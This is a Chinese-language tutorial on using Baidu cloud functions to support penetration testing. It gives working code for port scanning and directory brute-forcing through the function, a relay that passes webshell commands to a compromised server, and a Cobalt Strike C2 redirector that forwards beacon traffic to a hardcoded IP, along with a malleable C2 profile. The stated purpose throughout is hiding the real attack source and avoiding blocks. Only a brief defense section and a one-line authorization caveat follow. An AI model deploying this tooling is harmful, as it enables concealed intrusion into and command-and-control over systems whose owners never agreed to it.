使用云函数辅助渗透测试
字数 1289 2025-08-29 08:29:59
云函数辅助渗透测试技术详解
0x00 云函数基础概念
1. 云函数定义
云函数(Cloud Function)是一种基于事件触发的全托管云端计算服务,用户只需上传业务代码,无需管理服务器资源。百度云函数计算(CFC)是Serverless架构的一种实现方式。
2. 核心特点
- 事件驱动:由特定事件触发执行
- 无服务器架构:无需管理基础设施
- 自动扩缩容:根据负载自动分配计算资源
- 按需计费:按实际执行时间和资源消耗计费
3. 百度云函数相关资源
- 控制台地址:https://console.bce.baidu.com/cfc/overview
- 官方文档:https://cloud.baidu.com/doc/CFC/index.html
0x01 云函数创建与配置
1. 创建云函数步骤
- 进入CFC控制台,在"函数列表"中选择"创建函数"
- 模板选择"空白函数"
- 函数配置:
- 运行时选择"Python 3.6"
- 触发器配置:
- 选择"HTTP触发器"
- URL路径填写
/{filepath+}格式
2. 函数处理程序结构
云函数中的handler()是默认的请求处理入口函数,类似于C语言的main()函数。
# -*- coding: utf-8 -*-
def handler(event, context):
return "Hello World"
3. HTTP触发器事件对象结构
HTTP触发器会将客户端请求映射为event对象,包含以下字段:
{
"resource": "请求的资源路径",
"path": "HTTP触发器的路径",
"httpMethod": "请求的HTTP方法",
"headers": {请求头},
"queryStringParameters": {query string参数},
"pathParameters": {代理路径参数},
"requestContext": {请求上下文},
"body": "请求体",
"isBase64Encoded": "请求体是否为Base64编码"
}
0x02 渗透测试中的应用场景
1. 端口扫描
实现原理:利用云函数作为代理进行端口扫描,隐藏真实IP
云函数代码示例:
def handler(event, context):
import socket
import json
params = event['queryStringParameters']
target = params.get('target')
port = int(params.get('port'))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
try:
s.connect((target, port))
return {'statusCode': 200, 'body': 'open'}
except:
return {'statusCode': 200, 'body': 'closed'}
finally:
s.close()
触发器配置:
- 方法:GET
- URL路径:
/scan - 查询参数:
target和port
客户端脚本核心代码:
def port_scan(target, ports, cfc_url):
for port in ports:
params = {'target': target, 'port': str(port)}
response = requests.get(cfc_url, params=params)
if response.text == 'open':
print(f"Port {port} is open")
2. 目录扫描
实现原理:利用云函数作为代理进行目录爆破,降低被封锁风险
云函数代码示例:
def handler(event, context):
import requests
params = event['queryStringParameters']
url = params.get('url')
path = params.get('path')
try:
full_url = f"{url}/{path}"
response = requests.get(full_url, timeout=5)
return {
'statusCode': 200,
'body': json.dumps({
'url': full_url,
'status': response.status_code,
'length': len(response.text)
})
}
except Exception as e:
return {'statusCode': 500, 'body': str(e)}
客户端脚本核心代码:
def dir_scan(target, wordlist, cfc_url):
with open(wordlist) as f:
paths = f.read().splitlines()
for path in paths:
params = {'url': target, 'path': path}
response = requests.get(cfc_url, params=params)
result = response.json()
if result['status'] == 200:
print(f"Found: {result['url']} (Status: {result['status']}, Length: {result['length']})")
3. WebShell连接
实现原理:通过云函数中转WebShell流量,隐藏真实攻击源
云函数代码示例:
def handler(event, context):
import requests
import base64
params = event['queryStringParameters']
target = params.get('target')
cmd = base64.b64decode(params.get('cmd')).decode()
headers = {'User-Agent': 'Mozilla/5.0'}
data = {'cmd': cmd}
try:
response = requests.post(target, headers=headers, data=data, timeout=10)
return {
'statusCode': 200,
'body': response.text
}
except Exception as e:
return {'statusCode': 500, 'body': str(e)}
使用方法:
- 在目标服务器上传WebShell
- 通过云函数中转执行命令
- 使用冰蝎等工具连接时配置云函数地址为代理
4. Cobalt Strike上线
实现原理:利用云函数作为C2代理,隐藏真实C2服务器
配置步骤:
-
搭建CS服务器,配置监听器
- 类型:HTTPS
- 上线端口:8000
- 监听端口:50050
-
云函数代码配置:
def handler(event, context):
import requests
import base64
# 解码CS服务器发来的数据
data = base64.b64decode(event['body']).decode()
# 转发到真实C2服务器
c2_url = "https://8.155.43.167:8000"
response = requests.post(c2_url, data=data)
return {
'statusCode': 200,
'body': base64.b64encode(response.content).decode()
}
- 创建profile文件(cfc.profile):
https-certificate {
set keystore "store.jks";
set password "password";
}
http-get {
set uri "/api/v1/query";
client {
header "Host" "your-cfc-url";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/octet-stream";
output {
base64;
print;
}
}
}
http-post {
set uri "/api/v1/update";
client {
header "Host" "your-cfc-url";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/octet-stream";
output {
base64;
print;
}
}
}
0x03 防御与检测
1. 云服务提供商防御措施
- 异常流量检测
- 函数调用频率限制
- 敏感操作审计日志
2. 企业防御建议
- 监控云函数API调用
- 限制云函数出站连接
- 实施最小权限原则
3. 检测方法
- 异常HTTP触发器调用模式
- 云函数代码中包含敏感关键词(如socket、requests等)
- 云函数与已知恶意IP通信
0x04 总结
云函数在渗透测试中的应用主要体现在以下几个方面:
- 隐匿性:隐藏真实攻击源IP
- 分布式:利用云服务商的全球基础设施
- 弹性:自动扩缩容应对大规模扫描
- 低成本:按需付费,经济高效
需要注意的是,此类技术可能违反云服务商的使用条款,在实际应用中应确保获得合法授权。